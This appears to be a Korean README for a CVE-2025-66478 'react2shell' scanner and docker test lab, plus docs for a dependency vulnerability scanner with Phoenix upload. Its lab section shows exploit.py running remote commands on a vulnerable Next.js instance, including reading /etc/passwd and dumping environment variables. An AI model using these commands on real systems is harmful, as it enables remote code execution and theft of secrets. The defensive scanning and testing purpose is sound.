cd web-scan_CVE-2025-66478

# 종속성 설치
pip install -r requirements.txt

# 단일 대상 스캔
python3 react2shell-scanner -u https://target.com -v

# 증거 표시와 함께 스캔
python3 react2shell-scanner -u https://target.com --show-evidence

# 모든 내보내기 형식과 함께 배치 스캔
python3 react2shell-scanner -l targets.txt -o results.json --csv results.csv --html report.html

# 취약한 대상에서 익스플로잇 테스트 (Python 3.11+ 필요)
python3.11 test-lab/exploit.py -u http://vulnerable-host:3000 -c "hostname"

cd web-scan_CVE-2025-66478/test-lab/lab

# 취약한 인스턴스(3011) 및 패치된 인스턴스(3012) 시작
docker-compose up -d

# 취약한 인스턴스 테스트
python3 react2shell-scanner -u http://localhost:3011 --show-evidence

cd web-scan_CVE-2025-66478/test-lab

# 익스플로잇 종속성 설치
pip3.11 install -r requirements.txt

# 기본 명령 실행
python3.11 exploit.py -u http://localhost:3011 -c "whoami"
# 출력: nextjs

python3.11 exploit.py -u http://localhost:3011 -c "id"
# 출력: uid=1001(nextjs) gid=65533(nogroup)

python3.11 exploit.py -u http://localhost:3011 -c "hostname"  
# 출력: 99e28775bf80 (컨테이너 ID)

# 시스템 정보 수집
python3.11 exploit.py -u http://localhost:3011 -c "uname -a"
python3.11 exploit.py -u http://localhost:3011 -c "cat /etc/passwd"
python3.11 exploit.py -u http://localhost:3011 -c "env"

# 애플리케이션 정찰
python3.11 exploit.py -u http://localhost:3011 -c "pwd"           # /app
python3.11 exploit.py -u http://localhost:3011 -c "ls -la"
python3.11 exploit.py -u http://localhost:3011 -c "cat package.json"
python3.11 exploit.py -u http://localhost:3011 -c "node --version"

# 종속성 설치
pip install -r requirements.txt

# 프로젝트 루트에서 실행
python -m universal_vulnerability_scanner.main --help

# 기본 스캔
python -m universal_vulnerability_scanner.main scan /path/to/project

# JSON 출력
python -m universal_vulnerability_scanner.main scan /path/to/project --json --output results.json

# 자동 모드 (요약만 표시)
python -m universal_vulnerability_scanner.main scan /path/to/project --quiet

# Phoenix 구성 템플릿 생성
python -m universal_vulnerability_scanner.main create-config

# .phoenix.config를 자격 증명으로 편집
# 그런 다음 스캔 및 업로드
python -m universal_vulnerability_scanner.main scan /path/to/project --upload-phoenix

# 포함된 취약 샘플로 테스트
python -m universal_vulnerability_scanner.main test

universal_vulnerability_scanner/data/vulnerability_database.json

{
  "metadata": {
    "version": "1.0.0",
    "last_update": "2025-12-04",
    "ecosystems": ["npm"]
  },
  "vulnerabilities": {
    "npm": {
      "package-name": {
        "exact_versions": ["1.0.0", "1.0.1"],
        "vulnerable_ranges": [
          {"min": "1.0.0", "max": "1.0.2", "severity": "CRITICAL"}
        ],
        "safe_versions": ["1.0.2+"],
        "cve_ids": ["CVE-2025-XXXX"],
        "description": "취약점 설명",
        "references": ["https://..."]
      }
    }
  }
}

[phoenix]
client_id = your_client_id_here
client_secret = your_client_secret_here
api_base_url = https://api.securityphoenix.cloud
assessment_name = Universal Vulnerability Scanner - RSC Detection
import_type = new

export PHOENIX_CLIENT_ID="your_client_id"
export PHOENIX_CLIENT_SECRET="your_client_secret"
export PHOENIX_API_URL="https://api.securityphoenix.cloud"

================================================================================
UNIVERSAL VULNERABILITY SCANNER REPORT
================================================================================
Scan completed: 2025-12-04 10:30:00

SUMMARY:
----------------------------------------
Total findings: 12
  VULNERABLE:  3
  SAFE:        2
  CLEAN:       5
  REVIEW:      2

🚨 VULNERABLE PACKAGES DETECTED
================================================================================

1. [email protected]
   File: /path/to/project/package.json
   Reason: Exact match with known vulnerable version 19.0.0
   ✅ Safe version: 18.99.99
   CVE: CVE-2025-RSC-001

[
  {
    "path": "/path/to/project/package.json",
    "kind": "package.json",
    "package": "react-server-dom-webpack",
    "version": "19.0.0",
    "verdict": "VULNERABLE",
    "reason": "Exact match with known vulnerable version 19.0.0",
    "severity": "CRITICAL",
    "vulnerable_versions": ["19.0.0", "19.1.0", "19.1.1", "19.2.0"],
    "safe_version": "18.99.99",
    "cve_ids": ["CVE-2025-RSC-001"],
    "timestamp": "2025-12-04T10:30:00"
  }
]

python -m universal_vulnerability_scanner.main test

universal_vulnerability_scanner/
├── core/
│   └── version_parser.py       # Semver 파싱 및 비교
├── models/
│   ├── finding.py              # 발견 데이터 모델
│   └── vulnerability.py        # 취약점 데이터베이스 모델
├── scanners/
│   ├── base_scanner.py         # 추상 스캐너 인터페이스
│   └── npm_scanner.py          # NPM 생태계 스캐너
├── integrations/
│   └── phoenix_uploader.py     # Phoenix API 클라이언트
├── data/
│   └── vulnerability_database.json  # 취약점 정의
├── test_samples/               # 테스트 케이스
└── main.py                     # CLI 진입점

from .base_scanner import BaseScanner

class PyPIScanner(BaseScanner):
    def _get_ecosystem(self) -> str:
        return "pypi"
    
    def scan_path(self, root: Path) -> List[Finding]:
        # PyPI 스캔 로직 구현
        pass

{
  "npm": {
    "new-vulnerable-package": {
      "exact_versions": ["1.0.0"],
      "vulnerable_ranges": [{"min": "1.0.0", "max": "1.0.5", "severity": "HIGH"}],
      "safe_versions": ["1.0.5+"],
      "cve_ids": ["CVE-2025-XXXX"],
      "description": "취약점 설명"
    }
  }
}

# 예시 GitHub Actions
- name: Vulnerability Scan
  run: |
    python -m universal_vulnerability_scanner.main scan . --json --output scan-results.json
    
- name: Upload to Phoenix
  if: always()
  run: |
    python -m universal_vulnerability_scanner.main scan . --upload-phoenix